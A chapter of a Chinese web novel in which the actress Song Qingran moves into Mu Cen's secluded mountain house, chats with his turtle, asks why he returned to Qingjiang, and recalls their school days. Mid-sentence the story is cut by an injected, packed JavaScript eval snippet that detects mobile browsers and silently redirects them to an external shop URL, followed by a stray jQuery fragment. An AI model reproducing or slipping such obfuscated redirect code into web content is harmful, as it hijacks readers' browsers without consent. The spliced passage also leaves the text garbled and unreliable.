“乌龟。”颂晴然把手伸进水箱，用指甲盖轻轻敲了敲龟背，“好久不见哦。”
翻翻兀自仰着头，并不随便搭理陌生人。
“龟龟！”颂晴然把放在走廊的行李箱和背包拖进屋，“我们稍微聊一会儿吧？边收拾房间边聊天，保持轻松愉快的氛围，可以发散体内的热气！”
翻翻兀自低着头，依旧不搭理陌生人。
“龟龟！你有没有看过《浮萍何定》？乡村故事频道的治愈风连续剧——我在里面演快递员姜姜，十五集和二十二集都有出场。”颂晴然把衣服挂起来，把行李箱立在床头柜旁边，“《浮萍何定》的室内景跟这里很相似哦……比这里多几台空调。”
为了表现“陌生人走开”的决心，翻翻不动了。
啊……好无聊！
颂晴然想：既没有正在听的身边人，又没有未来会听到的观众朋友们……在这样的情况下说话，好无聊！
如果生活是一个访谈节目该多好，所有问题都能得到完整的答案，所有话语都能得到切实的回复。无论答案是真实还是虚假，无论回复是否如人意，只要用笃定的语气说出来，就能让人感到心安吧？
“我问你！牧岑为什么会回青江？”颂晴然凑到水箱边，“我以为他会留在月湾。至少留在朗城？他要从零开始搞种植……月湾寸土寸金，旁边的暑港和明星桥还是很合适的！他怎么会回青江？”
“因为性价比很高。”牧岑敲敲门。
颂晴然和翻翻一齐望过去。
“你的手提袋落在客厅。”牧岑站在门边，抬手示意手腕上挂着的袋子，“我现在方便进去搬走翻翻吗？忽然记起来水箱挺重的，你瘦了很多，可能搬不动。”
笑话！
颂晴然冷笑一声，迅速单手扛起水箱，想了想，又换成防摔的双手托抱：“带路！”
她在心里自行配后期大字：无穷的力量！
牧岑推开对面的房门。
听起来似乎有点儿冒昧——颂晴然正式开始打量这间屋子，是从走进别人卧室的那一刻。
她想：一个昂贵的地方。
要做出人们幻想中“自然乡村”的“简约素雅风格”，建造成本与维护成本都不低。为了日常生活的舒适与长期保持的美观，这里又另做了许多不起眼的小巧思，看得出来很用心地设计过。
“把一切都按照自己的心意打造……金钱、时间、想象力、沟通能力缺一不可啊。”颂晴然感叹，“我之前觉得住的地方不舒服，考虑过要这样做……可惜实在是舍不得钱又没有闲，脑补了二十分钟就放弃了。”
她把水箱放到窗台旁边的木桌处。
牧岑从桌肚内抽出两袋龟食投喂：“对我来说，这是最重要的事情，所以值得全心全意、倾尽所能去完成。你还有其它更重要的事情要做……无法分心也是正常。”
翻翻用头撞了撞玻璃。
“我以为老爸说的‘深山老林’是夸张，没想到还真离村落挺远的。”颂晴然拉开窗帘向外看，“上来的路竟然有这么长……完全是融进自然的环境。”
牧岑说：“还差很远。”
颂晴然盯着窗外的绿林看了一会儿，被正午的阳光刺得眼睛酸痛……心里估摸着时间差不多了，才姿态轻松神色随意地开口问：“性价比很高是什么意思？”
牧岑回以诧异的音节。
“欻”的一声，颂晴然把窗帘拉起。
她回过头来看牧岑：“说着很向往月湾、很想去自由广阔的繁华大城市，结果读完书后立刻回青江了。为什么？”
说完，她又觉得近乎追问的语气很不应该，于是尽量放松肩颈、倚在墙壁上，补充了一句玩笑话：“因为读完哲学专业？学得超脱俗世、决心归隐田园了？”
牧岑淡淡地垂眼。
颂晴然想：最讨厌这种面无表情的人！根本猜不出来是“遇到难回答的问题就不想说话了”还是“正在思索如何表述，请提供安静的环境”！我先给他三分钟的时间，然后接一句“哈哈哈哈哈我怎么突然提问起来了职业病真是恐怖”怎么样？感觉好差……
牧岑淡淡地落座，淡淡地抬眼。
“回归自然的想法，是在大学期间出现的，但不是因为哲学。”他说，“当年的我计划去月湾，所以选择了报考月湾大学；计划去月湾大学，所以填报了所有能报的专业组。”
颂晴然甩甩袖子伸出手，隔空一抓，抓了个空气话筒递到他面前——好尴尬！
这里又不是随时随地要开始分享经历和心声的录制现场，也没有后期会帮忙插入闪回片段和科普字幕！颂晴然尽量保持微笑：这下子真能用职业病的借口了。
……牧岑看看她悬空虚握的手，看看她尴尬而不失礼貌的表情。
他想：被迫接收毫无兴趣的信息，是十分痛苦的体验；强行打扰别人、向别人分享无趣的东西，是非常冒犯的行为。颂晴然真是一个敬业的人……能够感受并体谅我的担忧与为难，即便自己同样为难着，仍愿意主动提及。
带着感激的心情，牧岑决定用简洁明了的话语速战速决，以免耽误颂晴然的时间。
“刚去到月湾的时候，没有人会再特别留意我。无人关注、无人打扰，我觉得很自在。”牧岑说，“后来发现，就算去到月湾、去到自由广阔的繁华大城市，我也没有办法摆脱吵闹的生活。想要获得真正的宁静，需要挑选更合适的距离和更恰当的理由。”
颂晴然想：牧岑从前没有表达过这样的态度，但我有短暂的、相似的经历，倒是很能理解他的想法。
牧家是“青江数一数二的人家”。曾经身处青江的颂晴然，在老爸入赘牧家后，以“牧冬曼继女”的身份度过了将近两年的时光。背后的审视和议论也好、当面的夸赞和奉承也罢，甚至是绝对真心的交流和交往，都只出于她是“牧家的孩子”。
牧岑的感受会更强烈吧。
“受欢迎真是使人苦恼呢。”颂晴然选用惯用的吐槽役语气歪曲句意转移话题，“我们长成这样，注定无法淹没于人群，注定要赢得四方的欢呼……所以我同时拥有着享受‘吵闹’的心态。完全没想到啊，在你心里是苦恼到需要为此改变人生轨迹的事情。”
“你很包容。”牧岑说，“我们的性格差别很大，感受总是不一样的。”
“不重要啦！”颂晴然采用经典好朋友式夸张拍肩法，“大家都去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939968|213881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做令自己感到舒服的事就好了！这间屋子虽然没有空调——但是四下无人、超级安静，很符合你的梦想和气质哦。话说，你真能心静自然凉？所以才不装空调？”
算是成功更换话题了吧？
颂晴然想：我是想稍微了解一下近年的牧岑、稍微推进一下彼此之间的私交……没想把氛围搞差。
而牧岑想：我实在是太糟糕了。
明明想要简洁明了地完成公事所需的“私交”，偏偏情不自禁地做出了表达自我的行为。颂晴然一定觉得被打扰了吧？出于自身的礼貌和包容，竟然还要友好地回应我……我很抱歉。
几年前，我刚认识颂晴然的时候，也做出过唐突表达自己的失礼行为。那时候的颂晴然一如今日，礼貌而友好地回应了我。
……
“你还有点儿搞笑。”颂晴然指着那张色彩诡异的照片，“感觉发到地图APP的五星好评区会很不错？不行不行！为了留有出道的可能……还是少到处乱发比较好！长大后再看，都是黑历史。”
牧岑说：“谢谢夸奖。”
“你的幽默感很不错！我看好你！”颂晴然动作夸张地隔空拍拍他的肩，“如果你以后考到月湾大学，我带你去吃整个月湾市最美味的烤鸭吧。”
牧岑说：“谢谢。”
“别谢别谢。”颂晴然笑道，“是带路的带，又不是请客的请，有什么好谢的？好好学习吧！我还能为你指路去吃月湾市最美味的炸鸡、圣代、面包、炒菜、海鲜档口。”
牧岑问：“你喜欢吃东西？”
“喜欢又擅长！”颂晴然得意道，“我以后要做演员……到那时候就不能多吃了吧？现在还可以浅浅吃一点儿。离考试还久着呢。”
牧岑问：“你什么时候回月湾？就算没有考上月湾大学，也可以去月湾吃东西。”
颂晴然认真思考：“暑假会回去一趟，跟以前的同学聚会。过年连着寒假会回去至少一趟吧……虽说没什么亲戚要走。”
牧岑说：“随时保持沟通。”
颂晴然被他逗笑了：“你这人说话真有意思。”
牧岑说：“你……”
嗡嗡嗡！嗡嗡嗡！
嗡嗡嗡！嗡嗡嗡！
桌肚里的手机在震动，打断了牧岑将要说出口的话语。
颂晴然仰头看了一眼补课班的挂钟，发现已经五点十五分了——黑心机构老师早就溜之大吉，连外面的走廊灯都关掉了。
“接电话吧！是不是家里人催你回去啦？”她向牧岑摆摆手，“我先走啦！记得随时保持沟通！哈哈！”
……
“喂？”颂晴然伸手在牧岑眼前晃了晃，“要不要面色凝重地考虑那么久？我以后过来看你会自带强劲风扇的！”
不应该回忆起来的。
牧岑想：原来当年不止是失礼地自顾自分享了自己的经历……还更失礼地打听颂晴然的生活了。幸好有母亲的电话打断，不然我会问出更多问题吧。
“我先去做饭了。”他说，“你去收拾卧室吧？今晚会有人来装空调的。或者在这里跟翻翻聊一会儿？稍后吃饭会喊你……我先走了。”
他逃出房间。